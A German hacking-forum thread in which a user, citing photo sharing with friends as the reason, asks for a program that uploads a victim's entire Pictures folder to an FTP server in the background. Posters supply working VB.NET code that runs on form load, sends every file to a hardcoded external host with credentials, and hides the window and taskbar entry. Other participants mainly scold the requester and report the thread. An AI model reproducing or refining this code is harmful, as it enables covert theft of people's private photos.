Visual Basic - FTP - Eigene Bilder Ortner hochladen

[Sypher]

Hey Leute,

ich würde gerne meinen Freunden erleichtern die letzten Ferienbilder auszutauschen. Ich dachte daran an ein Programm der alle Eigenen Bilder auf ein FTP Server hochläd.

1. Upload auf ein FTP Server
2. Mit einem Relativen Pfad, so das sie nicht ihren Eigenen Bilder Ortner extra angeben müssen
3. Der FTP Upload im hintergrund läuft, da es manchmal ziemlich viele bilder sind.

Könnte mir jemand so ein Source Code schreiben? Wäre Dankbar dafür:D

[Apex]

Dir wird hier sicherlich niemand einen Source in den Arsch stecken. Du wirst hier lediglich irgendwelche Tipps und gelegentlich Fragen beantwortet kriegen aber das wars dann auch. Das hier ist ein Anfängerboard bei dem geholfen wird, den Leuten im spezialisierten Gebiet etwas beizubringen.

[Th3_Cr4xX]

Deshalb gilt ab sofort folgendes:


Anfragen nach fertigen Quellcodes werden grundsätzlich gelöscht.


Regelupdate (http://free-hack.com/49412-neues_regelupdate_im_bereich_net.html)

~reported~

[<~Engel~>]

Ist ziehmlich einfach wen man Vb.Net kann ^^

Benötigt
3 x Textbox
[Textbox1 = Server Name ]
[Textbox2 = Username ]
[Textbox3 = Passwort ]

1 X Button
Code für Button1


Dim Server As String = TextBox1.Text
Dim Username As String = TextBox2.Text
Dim Password As String = TextBox3.Text
Dim Folder As String = "C:\Users\" & Environment.UserName & "\Pictures"
For Each Files As String In My.Computer.FileSystem.GetFiles(Folder)
Dim FileName As String = IO.Path.GetFileName(Files)
My.Computer.Network.UploadFile(Folder & "\" & FileName, Server & FileName, _
Username, Password)
Next
mfg.
<~Engel~>

[Th3_Cr4xX]

Du kannst VB.NET aber auch nicht da du das aus der Vb Tut Section kopiert hast xD

[Sypher]

Ist ziehmlich einfach wen man Vb.Net kann ^^

Benötigt
3 x Textbox
[Textbox1 = Server Name ]
[Textbox2 = Username ]
[Textbox3 = Passwort ]

1 X Button
Code für Button1


Dim Server As String = TextBox1.Text
Dim Username As String = TextBox2.Text
Dim Password As String = TextBox3.Text
Dim Folder As String = "C:\Users\" & Environment.UserName & "\Pictures"
For Each Files As String In My.Computer.FileSystem.GetFiles(Folder)
Dim FileName As String = IO.Path.GetFileName(Files)
My.Computer.Network.UploadFile(Folder & "\" & FileName, Server & FileName, _
Username, Password)
Next
mfg.
<~Engel~>

Vielen Vielen Dank.

Ich benutze WinXP und bei mir gibt er folgenden Fehler aus:

"Eine Ausnahme (erste Chance) des Typs "System.IO.DirectoryNotFoundException" ist in mscorlib.dll aufgetreten."

Ein Teil des Pfades "C:\Users\Fabrice\Pictures\" konnte nicht gefunden werden.

[<~Engel~>]

Dann schreib einfach den Pfad hin so wie er auf deinem Pc ist (habe Vista daher wohl der Fehler.)
Also
Dim Folder As String = "Dein Pfad zum Bilder Ordner"

[Sypher]

Funktioniert aber auch nicht:

Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim Folder As String = "C:\Users\" & Environment.UserName & "\Pictures"
Dim Folder1 As String = "C:\Dokumente und Einstellungen\" & Environment.UserName & "\Eigene Dateien\Eigene Bilder"
For Each Files As String In My.Computer.FileSystem.GetFiles(Folder)
Dim FileName As String = IO.Path.GetFileName(Files)
My.Computer.Network.UploadFile(Folder & "\" & FileName, "trustedp.tr.funpic.de" & FileName, _
"trustedp", "****")
Next

For Each Files As String In My.Computer.FileSystem.GetFiles(Folder1)
Dim FileName As String = IO.Path.GetFileName(Files)
My.Computer.Network.UploadFile(Folder & "\" & FileName, "trustedp.tr.funpic.de" & FileName, _
"trustedp", "****")
Next

End Sub
End Class

[j0.keR]

Schlimm dass hier so viele rumbetteln müssen google.de ? oder hier die SUfu meine fresse regt mich sowas auf .... und c&p bringt dich auf keinenfall weiter !


Funktioniert aber auch nicht:

Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim Folder As String = "C:\Dokumente und Einstellungen\" & Environment.UserName & "\Eigenen Dateien\Eigene Bilder"
Dim Folder1 As String = "C:\Dokumente und Einstellungen\" & Environment.UserName & "\Eigene Dateien\Eigene Bilder"
For Each Files As String In My.Computer.FileSystem.GetFiles(Folder)
Dim FileName As String = IO.Path.GetFileName(Files)
My.Computer.Network.UploadFile(Folder & "\" & FileName, "trustedp.tr.funpic.de" & FileName, _
"trustedp", "****")
Next

For Each Files As String In My.Computer.FileSystem.GetFiles(Folder1)
Dim FileName As String = IO.Path.GetFileName(Files)
My.Computer.Network.UploadFile(Folder & "\" & FileName, "trustedp.tr.funpic.de" & FileName, _
"trustedp", "****")
Next

End Sub
End Class


Hast dir den Code nicht angeschaut ... und ich prog nichtmal in vb.net ! Andere Frage warum haste heir 2 Folderś drinn wenn in deinem Post die Rede von nur einem ist ?

Und hier noch zu deiner anderen Frage :

Im Hintergrund laufen : me.visible = False
Visible in Taskbar = Flase !


Und falls es dann immernochnicht Klappt schreibste mich in ICQ an !

[Apex]

1. Schlimm das man Copy & Paste benutzt ohne den Sinn des Codes zu sehen, ansonsten hättest du den Fehler selber finden können.
2. Wahrscheinlich bist du dann noch so jemand, der vor seinen Freunden angibt "Schau mal hab ich ganz alleine gecodet"
3. Moderator close bitte. Verstößt gegen die Boardregeln. ;)
4. reported

[hoschi111]

Willst du trollen?
Einer der beiden Schleifen generiert den Fehler ;)
Tipp: Der Erste :P

[j0.keR]

1. Schlimm das man Copy & Paste benutzt ohne den Sinn des Codes zu sehen, ansonsten hättest du den Fehler selber finden können.
2. Wahrscheinlich bist du dann noch so jemand, der vor seinen Freunden angibt "Schau mal hab ich ganz alleine gecodet"
3. Moderator close bitte. Verstößt gegen die Boardregeln. ;)
4. reported


Endlich jemand meiner Meinung !

[Th3_Cr4xX]

@Apex

1. Schon längst reportet
2. Regelupdate hab ich auch schon gepostet oben
3. Dass das C&P ist hab ich auch schon gesagt.

Sprich dein Post war unnötig

@Engel
Ich bin nicht der TS und ich brauch auch keine Hilfe xD